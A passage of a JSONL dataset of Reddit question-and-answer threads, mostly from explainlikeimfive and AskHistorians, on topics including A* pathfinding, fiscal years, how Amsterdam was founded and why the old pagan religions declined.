"answers_urls": [[], []]}
{"q_id": "8wdh69", "title": "how the a* path finding technique works", "selftext": "Trying to wrap my head around it, and I feel like it's almost clicking but not quite. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8wdh69/elif_how_the_a_path_finding_technique_works/", "answers": {"a_id": ["e1up3yl", "e1upqgx"], "score": [2, 4], "text": ["I want to navigate across some kind of map or graph of interconnected points, from a Source point to a Destination point. I don't know the shortest way of getting there, but A* can help me find it.\n\nStarting from my source, I examine all possible exits. Each leg of travel has a cost associated to it; distance, time, money, doesn't really matter. I want to get to my destination with the least cost. So as I evaluate my exits, I start tracing a path with preference to the least costly legs that appear to be heading towards my destination. I'm keeping a list of all the points I've already visited so they won't be re-evaluated. I'm also keeping a running sum of cost for each path I'm evaluating. When I reach my destination I trace my path backward to find out how I got there. Since I picked least cost for every step, then my final path should be the shortest. ", "So you're trying to find a path to somewhere, and you can't see obstacles until you're right next to them.  But you know where you are, and where the destination is.  So what do you do?\n\nWell, the most obvious route is to move towards the destination right?  So you do that, and do that, and do that, but now there's a wall, but a path goes off to the side into a tunnel, and then that turns, and turns, and turns, and turns.  Sometimes you past by intersections and you take the turn that heads closest to your destination, more turns, and more turns, and then you hit a dead end. \n\nA* is trying to answer, what now?\n\nEssentially, it tries to guess which location among those it's already been to is the best one to return to to try searching further.\n\nIs it the starting point?  Probably not, because you know at the beginning you were moving closer to the destination then your starting point, so it must be somewhere further.  Is it at the last turn?  No, because there was no where else to go at that point.\n\nWas it at the last intersection?  Maybe?  Was it at the first intersection?  Maybe?  How do you decide?\n\nWell you use a heuristic, essentially, you give all the places you've been points.  Those points describe both how long you walked to get there, and how close that spot is to the destination.  You then combine those two numbers together in some way, and you compare that number for all the locations.  The lowest number is the next one you start searching from, and you continue.\n\nThat's A*, essentially.  The interesting things about that is that there isn't a rule for how you combine the two numbers for each location, maybe it's 2 * distance walked + distance to target to get a total.  How you combine them determines the behavior of the path finding algorithm, and how effective it is at tackling individual mazes.\n\nThat's A* as I understand it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "b0l40s", "title": "how do conditions like irritable bowel syndrome and inflammatory bowel disease cause pain if the intestine doesn't have pain receptors?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b0l40s/eli5_how_do_conditions_like_irritable_bowel/", "answers": {"a_id": ["eifakkc"], "score": [52], "text": ["The bowel has nerves which are stretch receptors. Stimulating those creates a \"pain\" interpretation in the brain, which is why gas in the gut can be very \"painful.\" IBS and IBD conditions produce gases in the intestines which cause distention, which stimulates stretch receptors, which the brain perceives as pain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lq7t9", "title": "why do people think that politicians, and the government, benefit from acts of war? is there any truth to this?", "selftext": "Additionally, are we talking about monetary benefits or just power and influence?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lq7t9/eli5_why_do_people_think_that_politicians_and_the/", "answers": {"a_id": ["cc1o3vw", "cc1pc26", "cc1qctx", "cc1tel3"], "score": [8, 7, 2, 3], "text": ["War is big business. It is the weapons manufacturers that benefit the most. Politicians are influenced by them. Watch the documentary Why We Fight for a better explanation. I believe the whole thing is on YouTube.", "I'll assume US or at least Western:\n\nThe arms industry is big, and makes lots of money making bombs and equipment to use in War, and war like operations.  Lots of money.  They make so much money they are able to make political donations to politicians who may be more 'Hawkish' - willing to use military force - ensuring at the least, a group of like minded individuals in power that will be more willing to use military force when possible.\n\nThere is also the 'Private Security' and Military Service industry that are very dependent on Military operations and bases.  Many of the guards on many bases overseas are private contractors.  Instead of committing forces to security, the US Military out sources base security to private firms.  There are also private security companies that provide VIP protection services, an important necessity in the turmoil during and after a war, but not necessarily a job that is best suited to the military itself.\n\nThere is also the logistics portion of war, bringing in food, water, and supplies, all of that costs money, and provides work, but is not something the military wants to do directly - these are going to be private companies as well with large contracts (because it's dangerous work)\n\nAdditionally, there is a lot of money to be made in the chaos afterwards, private companies are able to establish themselves - partly because their own nations military is there - in the country, providing jobs and high wages, in exchange to extract natural resources.  In a country recovering from a war, good paying jobs are in hard to come by;  they are also able to purchase politicians in said countries, further cementing their access to these natural resources, due to a lack of political stability.\n\nTL,DR; There are a lot of private companies and industries that are able to make large sums of money by contributing to the political coffers of politicians that are willing to authorize military force.", "Dick Cheney. Haliburton. Invasion of Iraq. 'nuff said.\n", "Everyone is focusing on the business part...and that is true. But there is more\n\nWar can be used as justification to do all sorts of things.  Do you think the NSA would be getting away with as much as they do if it wasn't for a war on terror? \n\nWhy do you think that politicians declare 'war' on things (poverty, drugs, etc)?  Its because normal rules don't apply in war.  If you argue against war rules, you aren't just opposing some politician....you are a traitor to the cause.  They don't have to engage your debate...they just say you don't support the troops (or that you support the enemy).\n\nPoliticians get a lot of latitude when a war is going on. War is a get out of jail free card for politicians/government."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5m12sb", "title": "what is a fiscal year and why do we need it.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5m12sb/eli5what_is_a_fiscal_year_and_why_do_we_need_it/", "answers": {"a_id": ["dbzy4uc", "dbzy5pk", "dbzyhkx", "dbzyv6f"], "score": [23, 36, 3, 3], "text": ["A fiscal year is an accounting tool where you can shift when your year starts for accounting purposes.  For some companies, the calendar year is inconvenient to use, so they'd rather manage their finances according to a different year.  For instance, if you're a company that sells school supplies, reporting your sales according to calendar years is annoying, because you'll be reporting half of one school year and half of another, so you might decide that your fiscal year is going to run from July to June instead.", "Fiscal years are used by government and some businesses (usually mid-to-large businesses) concerning money. As to why they don't use a traditional calendar year, [here is one reason](_URL_0_):\n\n > December is a really bad month to try to close out an entire year's accounting books. Accountants and execs are on vacation for large parts of the month, most retail stores are flooded with revenue (and then contra-revenue as items are returned) that takes time to account at the store level and then filter up to the corporate office, etc etc. It also doesn't tell the whole story for most retail outfits; December sales are usually inflated by purchases that are then returned in January after all the hullaballoo. As a result, a fiscal year end in January or even February keeps the entire season's revenues and expenses in one fiscal year.\n", "A fiscal year is a way to financially split up a period in roughly a year. It may be aligned with an actual year or it may be easier to schedule the extra work which comes with closing and opening a financial year to other times. The main reasons you would want to work with financial units is so you can do analysis and planning on your entire business at once. A big company might not know how much money it have at a given time. If someone have unclaimed expenses or there is an unregistered sale then the company do not know how much money is in that. There is a lot of other reporting and calculations that needs to be done before a company knows how much money it have. So it does all this at a given time each year. It would also make sense to do comprehensive planning which would involve a lot of input from the different departments on what they need and an overall plan on what the company should do and where to invest the money. You also have smaller units like fiscal quarters and fiscal months that would serve similar roles but on smaller scales.", "The idea is you want the end of your year and the start of the new one to be during the quietest time in your business cycle.\n\nIf you sell snow shovels for a living, whether a blizzard hits on the last week of 2016 or the first of 2017 can skew sales from one year to the next.  Much better to end your fiscal year on 6/30, instead of dividing up your busy season."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://money.stackexchange.com/questions/1002/why-do-companies-have-a-fiscal-year-different-from-the-calendar-year"], [], []]}
{"q_id": "11hhz0", "title": "How are Koreans different from the Chinese or Japanese?", "selftext": "Ethnically speaking how are Koreans different from their neighbors?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11hhz0/how_are_koreans_different_from_the_chinese_or/", "answers": {"a_id": ["c6mjr0y", "c6ml9yw"], "score": [4, 3], "text": ["They have a language unrelated to either, and a history often at odds with both.  Korean culture is of course heavily influenced by China (as is most of eastern Asia) and to a lesser extent Japan, but there's always been a strongly independent drive.  To take a European analogue, look at Poland.  Caught between very powerful neighbours,  it has been conquered several times, but has preserved its culture remarkably well.", "I currently work in Korea. I was trained in Anthropology and Linguistics focusing in East Asia.\n\nThis is very simple. Please ask for more depth if you would like it.\n\nGenetically...\n\nJapanese are likely derived from a mix of Korean and other minorities native to the Japanese islands. Koreans came froma  genetic migration through Mongolia and Central Siberia/Asia.\n\nChinese came from central Asia and Tibet, just north of the Himalayas and into the area between the Yellow and Yangtze rivers. \n\nLinguistically\nChinese is a Sino-Tibetan language, with large use of Tones. Grammar is Subject-Verb-Object. (Like English)\n\nKorean and Japanese are Subject-Object-Verb and have no Tones.\nThey are both language isolates, or maybe Altaic languages, but the share many features in grammar, but don't share many phonological items (sounds).\n\nCulturally...\nThere are similarities between the three, but mostly borrowings from Chinese culture as it was the big cultural power house. \n\nI don't know your background so I don't know how much or litter to inform you on. Simply stated... Korea has a lot of pottery that was desired by China. They have their own separate histories, all three with Kings, Kingdoms and dynasties. All vary, but they are different.\n\nKorea was a tribute state of China. Which (VERY simply) means, the Chinese emperor was the token emperor of Korea. He sometimes, but not always used this power. Think of it like the commonwealth countries. The Queen is the head, but how much power she really has varies depending on the time and the country.\n\nMostly it was symbolic/military alliance. Korea paid China tribute. China ignored an occasionally helped them. Koreans went to China to get educated in Chinese characters and various governmental roles. (Again, this is oversimplified)\n\nHaving worked and lived to one extend or another in all three I can tell you they are different. They share a lot of similarities in the same way you can expect France/Spain/Italy/Germany etc. to share similarities. Korea-China-Japan shared a lot cultural items with each other: Writing, art, a religion, technologies, etc. They are still different to large extents. \n\nAgain, this is really boiled down and over simplified. I am assuming little to no background knowledge on the part of the OP. I will fully flesh out any items you would like OP."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yjmgd", "title": "If Amsterdam is below sea level and is only being kept from drowning by a massive system of dams, how did it ever get founded in the first place?", "selftext": "I've never understood how this works.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1yjmgd/if_amsterdam_is_below_sea_level_and_is_only_being/", "answers": {"a_id": ["cfl4yr6", "cfl54q0", "cfl58p0", "cfl5n4j", "cfl6c12", "cfl6gf8", "cfl6n6e", "cfl8gzk"], "score": [115, 809, 23, 84, 10, 24, 37, 8], "text": ["[The history of the Dutch polder system](_URL_0_)\n\nAdded: once you pump the water out, the land sinks, so you end up a lot lower than when you started. It wasn't this low at the beginning.", "The answer is, in a sense, an obvious one: that the initial area that the fishing community settled along the river Amstel in the early 1200s was very close to sea level (but above it).  There was a significant saltwater inlet that had a tendency to flood, so the initial settlement included a dam of sorts--doors under an early bridge--to prevent inundantion.  It was evidently not always very successful.  But the position on the Amstel was excellent for fishing boats and later for commerce, so it was worthwhile to continue defensive construction.  As the city grew, it took in some areas that were even more prone to inundation, and the defensive works (along with the rings of canals, added I think in the 16th century) developed in tandem with that sprawl.  The result is that on average the massively expanded Amsterdam today is a little less than 2m below sea level.  It's hard for those reasons (and, well, because of the presence of the city) to do really good archaeology within it, but fortunately we have [a lot of historic maps showing the development from at least the 1500s and some speculating on earlier patterns](_URL_0_).  Those defenses did not stop the city from suffering periodic floods anyway like [Sintpietersvloed or St. Peter's Flood of 1651](_URL_1_), but those do explain why the elaboration of the dam system was taken so very seriously at such an early date.  [edit: I'm not sure whether Amsterdam itself was the site of *terpen*, which other commenters point to below--I've never heard of that, but one might well suspect an enterprising farmer or fisher would try to gain a half meter for the house plot if they could!]\n\nTL,DR: Fishermen, who aren't too worried about the occasional wet feet, settled close to a good harbor and good fishing; it became a commercial port and developed the dam  &  canal system as it grew in area.", "People have been finding ways to avoid the water for centuries. Anyone settling in the area up until about 1000AD probably built their farmhouses on man-made hills called terps. As technology progressed, dikes eventually connected these terps. Once these dikes became more intricate and integrated in the 11th century they created polders (simply land reclaimed from the sea). By 1100AD these farmers were already well aware of the risks the water posed. Communities then started electing a local representative whose sole job was to watch water levels and form protection from floods. By the 13th century the windmill would have been discovered and implemented into some areas. They could be used to drain water out of below sea level areas. This, in turn, improved the quality and frequency of polders, thus resulting in more available land.\n\nThis is some of the early history of settlers in the Netherlands dealing with sea level. [Here is a bit more information on polders in the Netherlands](_URL_1_), but for futher information on anything I mentioned (and a lot more) [I recommend this book by Roegholt on the history of Amsterdam](_URL_0_). Sorry if this does not deal specifically with how Amsterdam was founded, I addressed it from the perspective of how early settlers in the region dealt with living below sea level.", "So does the name \"Amsterdam\" literally mean \"amstel dam?\"", "I don't mean to hijack, but what about Venice? When I went, I read a story that said, \"the Venetians TOOK the city from the sea.\" I thought that was epic, but how did they do it? I just don't get it. ", "There's a geology bit too. Cities that get founded on river deltas tend to sink. River deltas are dynamic. The continuously bring debris and sediment into the delta. This is a huge pile of soft debris and sand. So after depositing more...it sinks more...but but...more stuff keeps getting added naturally by flood cycles. Cities on deltas channel the rivers to take away all the new sediment. So no new sediment is added.   \n\nSo now the city is on a piece of land that will continue to sink naturally. The dykes grow higher in response.   \n\nThe sinking due to soft heavy mush below was not something people of those times were aware of. New Orleans same deal...bigger river.   \n\nThere is not bedrock nearby under these cities. They sit on dynamic relatively mushy ground that continues to settle. \n\nedit: ask /r/geology I bet there's folk there that really know the whole deal on these specific cites...", "It is a bit out of scope, so forgive me but many people ask the same thing about New Orleans (e.g. \"why the hell would you %$#! live below sea level?!\"). It turns out that the areas originally settled were above sea level. Areas that include the French Quarter, the Garden District, and Carrolton were all built on [natural levees](_URL_0_). \n\nIn 1893, the Sewerage and Water Board was, in part, created to develop pumping stations. Throughout the early 20th century, previously unusable swampland was drained and sold for houses (the blue areas). Unfortunately (and this will be unsourced, but forgive me), much of this land, especially the broad swaths of New Orleans East were sold to upwardly mobile black families post-war. Lakeview was also a later development as well, but mostly white.\n\nWhen the levees failed, these areas were flooded and a disproportionate number of black families were  displaced. The expensive Garden District (the \"isle of denial\") and Vieux Carre (founded earlier and mostly white) did not experience nearly the devastation that the \"inner city\" did. An big exception to this was Lakeview, in the north west portion of the city and founded much later, which is a mostly white neighborhood that was under 10-15 feet of water.\n\n", "On a related note, if they are below sea level and near salt water, where do they get fresh water?  Surely the water flowing from the rivers is brackish so close to the sea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.fao.org/fileadmin/templates/giahs/PDF/Dutch-Polder-System_2010.pdf"], ["http://commons.wikimedia.org/wiki/Category:Old_maps_of_Amsterdam", "http://en.wikipedia.org/wiki/St._Peter%27s_Flood"], ["http://search.library.wisc.edu/catalog/ocm91798731", "http://en.wikipedia.org/wiki/Polders#Polders_and_the_Netherlands"], [], [], [], ["https://www.uwec.edu/jolhm/EH3/Group7/Picture1.jpg"], []]}
{"q_id": "gvhrd", "title": "When the wind blows, do the individual air molecules actually travel as fast as the wind?", "selftext": "How fast do air molecules actually move? It seems like they're so incredibly small that they would have to be moving at relativistic speeds to get anywhere.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gvhrd/when_the_wind_blows_do_the_individual_air/", "answers": {"a_id": ["c1qkme2", "c1qkopa", "c1qkvoy", "c1qllkv"], "score": [38, 44, 11, 3], "text": ["No. They travel way faster, in random motions. At room temperature, they move at about 500 m/s. \n\nInterestingly, as it gets colder, they move slower also. Scientists who are studying temperatures near absolute zero are also getting more of a glimpse of the atom, since it moves slowly... \n\n\"For instance, when scientists at the NIST achieved a record-setting low temperature of 700 nK (1 nK = 10^\u22129 K) in 1994, they used laser equipment to create an optical lattice to adiabatically cool caesium atoms. They then turned off the entrapment lasers and directly measured atom velocities of 7mm per second in order to calculate their temperature.\" - [Wikipedia](_URL_0_)", " > It seems like they're so incredibly small that they would have to be moving at relativistic speeds to get anywhere.\r\n\r\nWhat? Speed means you travel x distance in y time, it doesn't have anything to do with how big a thing is.", "On average, yes. \n\n >  they would have to be moving at relativistic speeds to get anywhere.\n\nNot really. Your imagination is playing games with you. ", "As far as the small size thing, just because they're small doesn't mean they have to go faster to travel large distances.  Think, if you have a drag race between a mouse going 70mph and a car going 60mph, the mouse will win, despite how small it is.  Speed is speed.  It doesn't depend on size at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Temperature#Overview"], [], [], []]}
{"q_id": "1osgev", "title": "why can't games like grand theft auto use the real names of cities and landmarks but they can use the name america?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1osgev/eli5_why_cant_games_like_grand_theft_auto_use_the/", "answers": {"a_id": ["ccv3ubm", "ccv3uqk", "ccv4n1d", "ccv4ttb", "ccv4v5r", "ccv5mfv", "ccv5n6n"], "score": [21, 8, 8, 2, 2, 4, 3], "text": ["There's nothing stopping them fro using real cities.  The upcoming game Watch Dogs is set in Chicago.  It's a design choice.  ", "They can, they just choose not to. They did release [this](_URL_0_) after all, and there are games like Sleeping Dogs that do openly acknowledge their basis.", "Also, you can't copyright/trademark real cities.  If some other company used Liberty City in a game, they could probably sue them.  If they use NYC and some other company also uses NYC, they couldn't really complain.", "actual cities and other locations are mentioned in the games\n\nalso Vice City is in the state of Florida", "There was a GTA-style game set in Los Angeles called \"True Crime: Streets of LA\". From what I read it attempted to recreate the city accurately as well. It had a sequel that was set in New York City.", "One of the missions Trevor mentions Mexico City... it was slightly jarring and took me out of the game (for just a second) since I was already sold on all the pseudonyms. Would have really liked to just hear another original one.", "It's a voluntary design choice on their part. A lot of GTA is parodying American culture, and they can do that better by creating charicatures of cities. There's also the fact that since they aren't trying to mirror an actual city, but instead create something similar to it, they have a lot more creative freedom when they want it, but also have the ability to draw from the city when they want to. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Grand_Theft_Auto:_London,_1969"], [], [], [], [], []]}
{"q_id": "277r7j", "title": "what's up with the little snoo being carried by balloons at the bottom of the page?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/277r7j/eli5_whats_up_with_the_little_snoo_being_carried/", "answers": {"a_id": ["chy7qbs", "chy9qwb"], "score": [12, 11], "text": ["Decoration. /u/theNYEHHH made it for the site, so thank her if you like it!", "I don't think every question needs to be put in ELI5. There's /r/self, /r/answers, /r/nostupidquestions"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "69ss1q", "title": "why is concord grape the default artificial flavor of grape when (in the us) concord grapes are not commonly found in stores?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/69ss1q/eli5_why_is_concord_grape_the_default_artificial/", "answers": {"a_id": ["dh9lb4g"], "score": [4], "text": ["Similarly, there are banana lollies/candies/sweets that are based to taste like a cultivar of bananas that aren't available in Australia anymore.\n\nPerhaps, in the past, concord grapes used to be much more popular and/or readily available in the US?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dej52t", "title": "when did people stop believing in the old gods like greek and norse? did the vikings just wake up one morning and think ''this is bullshit''?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dej52t/eli5_when_did_people_stop_believing_in_the_old/", "answers": {"a_id": ["f2vl8wb", "f2vojt3", "f2whgol", "f2wkvvd", "f2wtfbq", "f2wui47", "f2wyaw3", "f2wyr24", "f2x4ycq", "f2x7zql", "f2xagvx", "f2xmgsw", "f2xmtlw", "f2xmwyu", "f2xnlyb", "f2xodzr", "f2xp82p", "f2xplml", "f2xqo74", "f2xrzn7", "f2xs1s5", "f2xtex5", "f2xu449", "f2xu4lx", "f2xz7ht", "f2y0be4", "f2y14i9", "f2y82a3", "f2y87dv", "f2y9ptm", "f2yereh", "f2ylvb9", "f2yrc6b", "f2z02s1", "f2z7a8t", "f2zdpxj", "f2ziikw"], "score": [1710, 6723, 48, 2, 81, 4, 17, 5, 6, 12, 264, 11, 8, 2, 4, 2, 2, 10, 7, 8, 9, 6, 4, 5, 2, 2, 8, 2, 9, 2, 3, 2, 2, 3, 3, 2, 2], "text": ["Generally speaking, Christian influence is to blame. Rome originally persecuted Christians, but after emperor Constantine converted to Christianity, Rome quickly became a monotheistic society. As religious tolerance wasn't huge back then, it didn't take long for Rome to start persecuting \"old gods\" instead, including the Greek and Roman gods. As Rome spread across Europe, so too did Christianity, making its way into England, France, and even Norway (Normandy is interesting reading, by the way). Missionaries converted those who were willing, and societal pressure persecuted those who weren't, until eventually almost everyone was Christian.", "Usually in those days the average person on the street, didn't have too much choice in what religion they wanted to be. For the most part you were whatever religion everyone else in your village was and everyone was the religion that the person in charge said they were.\n\nIf the tribal leader or king converted to Christianity for political reasons, the people followed, not necessarily because they wanted to, but because they had no choice.\n\nFor example Harald Bluetooth for which the Bluetooth wireless connection is named became a Christian and then he became King of all Danes and then the Danes became Christians because he said so.\n\nIn practice many conversion efforts only slapped a new label on pagan customs and traditions. Old gods were relabeled as saints old feasts became Christian feasts and many kept doing what they had been doing all along with only gradual change of the underlying stuff.\n\nIndividual people may have converted because they were convinced by theological arguments, but the majority switched because they were told to by people you couldn't disagree.", "Greco-Roman religion was officially abolished as state religion by the Roman emperor Constantine (306-337 AD), briefly revived by Julian the Apostate and finally abolished by his successors. Since then, it fought a long defeat against Christianity, but pockets of Greco-Roman paganism still lingered in rural Greece until VIII century (the Maniot pagans), and a Byzantine philosopher Gemistos Pletho advocated a return to the old faith even later (he lived during the last years of Byzantium).\n\nThe Norse religion started to peter out similarly, after the Christianization of Scandinavian kingdoms. However, all Scandinavia did not Christianize in an instant, unlike Rome. Denmark became Christian around 1000, Norway Christianized under Olaf the Saint (1015-1028), Sweden was gradually Christianized from 990s until 1100.", "As what other posters have stated, a lot of it was conversion by sword and conquest. I would like to allude to a case study: The Massacre of Verden. The Christian King Charlemagne, of the Franks, conquered Saxon land and killed a bunch of them. Naturally with most of the men of the area dead, the women and children were converted. \n\nYou can read up here: _URL_0_", "While a number of respondents have made the case for Christianity becoming the official religion and pushing out the \u201cold\u201d gods, this has never stopped underground believers from continuing their faith. Surely adherents to the Norse and Roman pantheons continued their beliefs. \n\nThe OP asked when people stopped believing that a bunch of humanoid deities sat atop Olympus. I am curious too if there came a point wherein people said \u201cOkay, this is just too ludicrous to be believed.\u201d\n\nAs I write, I realize there is an active religion today that purports to believe that an alien dictator brought billions of people to Earth on Dc-8\u2019s and blew them up using hydrogen bombs so maybe there is nothing people won\u2019t believe.", "The last of the pagans in europe were killed or forcibly 'converted' during the northern crusades as late as the 13th century \n\n_URL_0_", "Suomenusko died thanks to the crusades to what we know as Finland, and conversion activity by Novgrodians. Also centuries of oppression by the swedish crown.   \n\n\nMany of our traditions did continue existing along side christianity. Mainly thanks to swedes failing to culturally convert us, and us keeping our own language.", "It didn't happen overnight, but was rather a slow burn that took place over the course of about 600 years. Starting from the rule of Constantine as Roman Emperor, to the establishment of the Carolingian Dynasty and Holy Roman Empire under Charlemagne. \n\nEarly Christianity wasn't spread by the sword in quite the same way early Islam was in the Middle East and North Africa. Many conversions were done from the top down for political and economic reasons. \n\nChristianity had been rapidly spreading throughout the Roman Empire after Constantine's conversion from Greco-Roman paganism in the 300's. When Rome fell, those people remained Christian, and they began building powerful kingdoms from the ashes of the Empire. Most notably the Frankish Kingdoms, who would come to dominate the Western European political landscape throughout the Early Middle Ages.\n\nAs these kingdoms grew in power, lesser powers in the region would be encouraged to covert in exchange for favours. One notable example is Rollo, a Viking who became Count of Rouen and first Duke of Normandy. In exchange for ceasing viking attacks on on the Frankish kingdoms, Charles III offered Rollo Normandy, but on the condition that he convert as well. Which Rollo accepted. There's evidence that he never really took the conversion seriously. However, things did filter down over time such that his descendant William II (aka William I the Conqueror, King of England) was maintaining close relations with the Church about a century later. \n\nThere was also active missionary work going on. You're probably familiar with St. Patrick, who converted Ireland. Many of these missions were good at integrating pagan customs with Christian practices. For example, It's well known that many modern Christmas traditions stem from the Norse holiday of Yule, including tree decorating, Yule logs, gift giving, and Santa Claus, as well as it taking place around the winter solstice. \n\nNot to say there wasn't conquest, like Charlemagne's campaigns into the Germanic territories, where forced conversions of Saxons took place. Which ultimately led to the formation of the Holy Roman Empire.", "I know a few pissed of Frisians didn't take kindly to being proselytised and killed the guy who later became St. Boneface in the town of Dokkum in 754. So no, there appeared to have been a bit of resistance :-)", "Technically, the religion is still alive. I know there are some families who still worship the old gods, and there's a movement of neo-paganism which have been causing a resurgence in worship of old gods among people.", "In Iceland it was a democratic decision taken in 1000AD.\n\nIt was driven by the Christianisation of Norway under king Olaf Tryggvason who had all the enthusiasm of a new convert and insisted on bringing all Norway\u2019s neighbours into the Christian sphere of influence. Tryggvason managed to trigger conflicts in Denmark and Norway between Christians and followers of the old gods and he soon set his eyes on Iceland.\n\nIceland had received a number of Christian missionaries who had had some success in converting the local population, but one whom, Thangbrandur, enraged the population and ended up killing some of the Icelanders. When he returned to Norway, he told Tryggvason that the Icelanders were refusing to accept the new religion, the king threatened war and there were genuine fears that Iceland would soon be engulfed in civil war.\n\nThings came to a head because of the actions of a Christian convert, Hjalti Skeggjason who had been sentenced for mocking the goddess Freyja. He was allowed to serve his sentence in Norway along with his father-in-law. During their exile, they got the backing of Tryggvason and on their return raised an army that threatened to trigger the war in Iceland.\n\nSo, the matter was referred to the Icelandic parliament for arbitration. Iceland was a form of democracy where individual chiefs gathered at the Althing located at the site of Thingvellir a little to the East of modern Reykjavik. The speaker of the Althing was a man called Thorgeir Thorkelsson, he heard arguments from both sides and the gathered everyone at the Law Speaker\u2019s Rock to hear his plan.  Thorgeir said that all Icelanders should be baptised into the Christian faith - HOWEVER, and here was the genius part - the old gods could be worshipped in private. So Iceland became a Christian country in 1000AD and civil war was avoided.\n\nIf you\u2019re ever in Iceland, you can visit the national park at Thingvellir and see the Law Speaker\u2019s rock from which the proclamation was made. If you go to the North, you can also visit the beautiful waterfall at Godafoss which was given its name after the huge wooden statues of the old gods were thrown into the river.\n\nApologies for mangled spellings, I don\u2019t have an Icelandic keyboard in front of me.", "As someone who has come back to the old religions, you'd be absolutely shocked how many people STILL believe in those old gods. You've already gotten answers sure, but there's no one answer here. Christianity, monotheism as a whole, is more profitable and more political.\n\nYou can't tell a Northern Heathen how to worship Odin, he'll question *your* methods. How to worship God/Yahweh/Allah is already detailed in some books. That's easier to corral people with than any spoken doctrine.\n\nHowever Iceland has had the \u00c1satr\u00faarf\u00e9lagi\u00f0 (\u00c1satr\u00fa Fellowship) since 1972, and as far as this little American knows, the \u00c1satr\u00fa Heathen faith is an indoctrinated religion there which is growing quite rapidly. They're one of very few places that has official temples dedicated to the old Norse gods. \n\nNaturalists, pagan polytheists, wiccans, they're all straying from organized religion in lieu of a more ambiguous practice. I personally don't like being told how to view the world, I prefer to let the world tell me. I know a lot of modern individuals who agree. I'd argue the worship of old gods never truly went away, it just got oppressed into silence by the Church.", "I Norway at least they killed everyone who would not converte.\n\nMy history teacher explained it like this once \"both sides pray to their religion before a battle, if you win your god was clearly stronger so at the next battle your enemies pray to your god too\"", "Both were converted to Christianity. \n\nGreece converted when it was a part of the Roman Empire at the same time that the whole of Rome was converting. This took centuries. \n\nThe Vikings Converted due to Christian Missionaries sent by the Catholic Church specifically to convert them (and others in Northern Europe). This also took several hundred years.", "Battles were fought in Norway between christians and pagans around the year 1000. There are stories of Norwegian kings converting the population to christianity using creative torture methods like trapping a rat in a bowl against the stomach of a farmer, forcing the rat to try and bury through him.", "Who said people dont believe in greek gods? People still believe in the 12 gods of Olympus as crazy as that sounds , search it!", "I think I can answer this.\n\nI have done some research into the normans, and it turns out that they originated as vikings who invaded northern France.\n\nSo they carved out the territory they needed and became an enclave. They freely adopted the the french language, customs and way of living, but still maintained their ferocious army.\n\nThe French king ended up giving them their own lands, in exchange for giving the Italians a pasting in the south.\n\nSo after a while they became as french as the french, and set about improving the french system of administration.\n\nSo the answer is that they readily adopted overseas cultures and \u201cgods\u201d.", "I would argue that the Greek and Roman pantheons were never believed in, in the same way that Christianity is believed in. Christianity is a faith based on specific historical claims about the life, death, and resurrection of Jesus Christ, and it has produced a series of creeds and confessions that lay out precisely what Christianity believes to be true. Greek, Roman, Norse, and other myths belong to a different category entirely. They have no creeds, no confessions, and no catechisms. Their adherents would have been puzzled by the suggestion of such a thing. Their \"faith\" such as it was, existed in a different frame from their philosophy, which co-existed fairly happily but remained separate. (You might see something similar today in the practice of Shinto, for instance.) Christianity was the first faith to put the two together and give us theology.\n\nI'm not sure if this is an original thought to him, but G.K. Chesterton elaborates on this at length in one of his great works, *The Everlasting Man.* (You can easily find it as a free PDF, and can just jump to the part where he starts discussing \"comparative religion.\")\n\nIncidentally, this is part of the reason that the line used by folks like Dawkins in debating Christians is mistaken: \"You're also an atheist when it comes to Zeus and Thor and Baal, I'm just an atheist for one more god than you.\" It's a category error. There was never anything like Jewish monotheism, until Christianity which consummated it (Jews would disagree). And there hasn't been anything comparable since that hasn't somehow descended from Christianity.", "Long story short? Christianity spread like a very violent plague.", "Here's why, in bullet points:\n \n* Christianity appeared.\n* Local rulers noticed that the main point of Christianity is \"life sucks, but grin  &  turn the other cheek and then you get eternal rewards (TM) after death.\"\n* Local rulers thought, \"hey, this means God is telling them not to rebel against me when I raise taxes, sweet!\"\n* Rulers then found God and converted to Christianity.\n* Any vikings who weren't so sure about the new, merciful God got burned at the stake or murdered.\n* The Vikings who remained alive decided that it was safer to follow Jesus than not to.", "No one woke up and thought it was bullshit.  it was enforced through convert or die methods.  I responded further below but I will cut and paste here too. \n\n & #x200B;\n\nit was absolutely state enforced religion.  convert or die became a thing... don't forget the romans burned heliopolis when they discovered the governor was pagan,  visiting pagan temples was forbidden, pagan holidays were abolished and changed into christian holidays  even later on it was baptism or death...   the massacre of verden had 4500 pagans beheaded because they would not be baptized.  Look at saint george who got his saint hood for killing pagans or saint demetrius who destroyed the temple or atemis and killed the pagans in there.... it was one of the seven wonders of the world for crying out loud.", "I don't think we ever stopped believing in 'god' or 'gods'. We just gave them different names, different stories and from different backgrounds. \n\nI think as human beings our brains are hardwired 